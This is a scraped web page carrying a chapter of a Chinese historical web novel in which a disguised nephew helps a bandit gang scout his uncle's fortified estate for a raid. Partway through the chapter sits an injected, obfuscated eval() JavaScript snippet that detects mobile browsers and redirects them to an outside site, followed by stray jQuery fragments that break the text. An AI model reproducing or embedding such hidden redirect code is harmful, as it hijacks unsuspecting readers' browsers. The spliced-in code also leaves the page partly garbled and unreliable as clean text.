默认冷灰
24号文字
方正启体

5. 第五章 砸窑(上)

作者:韭菜猪肉大水饺本书字数:K更新时间:
    罗家在柳条边是数一数二的大户,上个月,年届六十的罗保林刚刚把第八门小妾抬进了门,流水席做了三天三夜,热闹得十里八乡都知道了他罗保林老当益壮,宝刀未老。


    他本名是萨古达阿林保,只不过现在是民国元年了,满清贵族全成了“鞑子”,这名字实在是不得不改。他虽然不提,但柳条边的老百姓们心里也都明白。他改了名,照样在柳条边做他的大户土皇帝,日子还是一样的过。


    罗保林自己对自己刚娶进门的小媳妇很满意,肉肉的一双小手,大烟炮烧得极好,饭后他在炕上一栽歪,一只手搂着小媳妇胖乎乎软绵绵的腰,一只手托着他的宝贝大烟杆,真是神仙也不换的好日子。


    这一天的午后,罗保林还是如同这一个月以来的这样,搂着他的新媳妇,靠在炕上抽大烟,但是他的麻烦很快就来了。


    先是惊慌失措的管家,跑进门来对正吸着大烟的他说,他那个从北京来的小侄子,从绺子窝里逃回来了!


    罗保林当然不信!


    邵小飞那小瘪犊子来找他的时候,他记得清清楚楚,绑走了济兰的绺子大柜可是那个“万山雪”!万山雪是什么人?传说中身高八尺、青面獠牙,吃人不吐骨头的人!或者说,一个人,要是做胡子做久了,那他就不再是人了。


    罗保林嘴里叼着玳瑁烟嘴,眼白浑浊的两只眼眯缝了起来,问道,真的假的?从山上逃出来了?


    千真万确!


    管家赌咒发誓,说那个叫济兰的北京少爷,正满身是血,在他们罗家大门口等着呢!


    罗保林昏昏沉沉的脑子用了一些时间,才全部接收管家的话。他浑浊的老眼突然瞪圆了,盘着的两条腿立刻就分开了,脚丫子在地上找寻他的鞋;他新娶的小媳妇仍旧柔情蜜意,接过了他匆匆塞来的大烟筒,又拿了一件小褂给他穿上,说老爷,秋天了,外头风凉。


    小老婆的柔情蜜意让罗保林稍稍定了定心。


    他的辫子还没有剪掉,花白稀少而又很短地扎在脑后,像老兔子秃了的尾巴。此刻这根尾巴在他脑袋后头,随着他的步伐一翘又一翘、一颤又一颤。


    事情和他预想的一样糟。他的大院门口已经聚集了很多看热闹的街坊四邻,都窃窃私语、指指点点。人群正中,一个满身是血的青年委顿在地,还有一个肤色黧黑的男人,扑在他身边哭号。


    议论声越来越大了。罗保林急急地拨开人群,听见了几个人咂嘴的声音,他立刻满面关怀,支使管家快去搀扶,口中还嚷着:“这是……这是我大侄儿吗?侄儿啊……你,你怎么造成这个样儿啊!”


    他从沟壑深深的眼尾挤出几滴不存在的眼泪,等到青年被管家搀扶着站起来,很快又痛呼一声跌倒下去,他不得不活动他的老骨头,一个箭步上前亲自扶住。在痛哭几声,又痛骂了几句“杀千刀的胡子”之后,他们几人扶着那死里逃生的青年,被众人目送着回到了罗家大院。


    一进来院子,罗保林立刻感到老腰酸痛,浑身无力,于是也没办法再支撑着他这个断了腿的大侄儿。幸好这位大侄儿身边还站着一个强壮的忠仆,他立刻撒了手,眼睛在那人身上上下一瞟,问道:“你谁啊?”


    那人肤色黧黑,不像是内院走动的,倒像是个码头力工,闻言憨厚地一笑,回道:“回老爷,我叫永寿,是跟济兰少爷从北京来的。”


    “啊,行。”罗保林平淡地点了点头,将浑浊的老眼又一次投在他这几乎十年未见的大侄儿身上:他有心怀疑这是个来占他便宜的无名小卒,可是,只要他看见了这张虽然沾染了血污,却依旧貌美惊人的脸,就知道这一定是那个北京的济兰,这是万万抵赖不得的。


    唉,要不是济兰,那反而好办多了。


    罗保林咂了咂嘴,有心问问济兰,到底是怎么从那个传闻中凶神恶煞的“万山雪”手中逃出来的,刚要张嘴,只听济兰含泪叫了一声“伯伯”,突然两眼一翻,昏死过去!他“欸呀欸呀”了两声,看也不愿意多看一眼,连连摆手道:“快,快送去厢房歇着吧。”


    永寿“嗳”地应了一声,背起断了腿的济兰,便跟着管家走了。


    “喏,你们就先住这儿吧。”


    管家撂下一句话,就逃也似的离开了。


    这房间位于西北角,又阴又潮,让人很难想象是怎么在罗家大院里找出这么一个犄角旮旯造出来的,只怕比在关东山万山雪绺子里,郝粮给济兰找的那个房间还更差上十倍。


    管家一走,济兰便从永寿的背上滑了下来。


    他不用人搀扶,单腿跳着坐到床边——这床上满是尘灰,只好坐个边缘。许永寿则在屋内背手走了一圈。一圈几乎十步就能走完。


    虽然济兰的昏迷是假的,可是他的腿伤是真的,所以额头的冷汗也是真的。许永寿走完一圈,转过身来,不顾济兰嫌恶的神色,帮他把那条伤腿挪到了床上。


    “你最好去找两个夹板来。”济兰脸色苍白,闭了闭眼,似乎心里正在劝说自己不去看床上的灰,“阿林保是绝对不会给我请大夫的。”


    许永寿又在屋内扫视一圈,只看见墙角一个破桌子,算是可堪一用,三下五除二,拆下两个桌子腿来,又撕下来一条床帐,把桌子腿固定在了济兰腿上。


    说实话,这条伤腿实在怪不到许永寿和万山雪的头上。


    昨日里,当着万山雪和满屋四梁八柱的面,济兰突然说:“给我一块石头。很大的石头。”


    他就用那块“很大的石头”砸断了自己的一条腿。


    许永寿叹了口气。这当然是一个很好的保证,不管是对阿林保,还是对他们。


    对阿林保,这是济兰从山上“死里逃生”的凭证。不管阿林保再怎么狐疑,也不至于立刻就反应过来。对绺子来说,这是济兰和他们“在同一条船上”的保证,他断了腿,跑不快,就算临时反悔,以许永寿的拔枪速度,可以立刻就“点”了他。


    此刻,济兰仍然保持着清醒。


    “你什么时候去‘踩盘子’(踩点)?”


    许永寿惊奇又好笑地看了他一眼。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516187|186227||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “晚上。你也是学上盘行话了?”


    “一般,也就是‘春点半开’(略通一二)吧。”济兰淡淡道。经过这三日的“相处”,他渐渐明白了一些万山雪他们的“话”。


    现在,他们只需要等到晚上。


    许永寿是绺子的“水香”。水香的意思就是负责排兵放哨的人。所以许永寿跟他一起来,一是为了监视他,二则是为了“踩盘子”。如果计划不变,今晚许永寿踩过了盘子就得收买一个“内盘”(内线),将画好的布防图递出去,明天晚上,万山雪他们就会下山,下来“砸窑”!


    “什么是‘砸窑’?”济兰突然问。


    “就是……”许永寿挠了挠后脑勺,突然发觉,黑话的一大好处就是,可以把不那么光彩的事儿神神秘秘地说个明白,“就是打家劫舍,劫富济贫。你进来的时候,看见罗家大院门口的两个炮楼和门上的红旗了吗?”


    济兰点了点头。


    许永寿哼笑了一声:“你这个阿林保伯伯,可是够肥的……一般的‘窑’,少有挂红旗的。挂红旗的意思就是‘我有兵有炮’。不过,有的挂红旗,是为了壮胆,吓唬俺们。像阿林保的红旗,倒是有点由头。打咱们一进来,我就看见墙根站着一溜跳子(兵),还养了十几条皮子(狗)……炮楼上两挺土炮……是个‘硬窑’!”


    济兰垂着眼睛,慢慢道:“这么说,我伯伯这个‘窑’,还不太好砸咯?”


    许永寿说:“想跑?想也不要想!你小子是个‘接灵子’(对别人的话领会很快),我不想插(杀)你……等这事儿成了,说不准,你可以跟大柜说说,挂个柱呢!”


    挂柱……如果他没记错的话,就是入绺?济兰的呼吸稍稍乱了一下。


    不错,他对阿林保没有什么感情,正如阿林保对他一样。


    一切都十分顺利,顺利得几乎有些超出济兰的预料。


    第二日白天,有个卖布的挑着担子进来了,许永寿一夜画下来的布防图顺顺当当地传给了他;卖布的交了布,又挑着担子走了。当晚,寂寥了三日的关东山再次喧嚣起来,绺子几乎是倾巢出动,黑夜之中,一匹白马一马当先。


    奇怪!明明是夜里,万山雪却依旧骑着一匹白马,戴着他的白礼帽——或许这只是他身为胡子给自己规定的礼仪。紧随其后的是一匹棕马,上头坐着他的炮头“独眼枪”史田。


    罗保林只想让自己北京来的大侄儿在小屋里自生自灭,没有工夫细细琢磨他这位断了腿的大侄儿到底是如何从万山雪手下“逃出生天”的,也就没有发现,炮楼上守着的跳子,已经在月亮升到天空正中的时候,被人从身后割断了喉咙;而那十几条会叫的、忠诚的“皮子”,也已经被有毒的狗食一锅药死。


    夜,降临了。


    半山腰上,万山雪勒住马缰。远远望去,那安详的罗家大院就像一头沉睡的、待宰的肥猪。


    他终于露出一个真心实意的狡猾微笑,在战前伸了一个大大的懒腰。


    “崽子们,砸窑!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)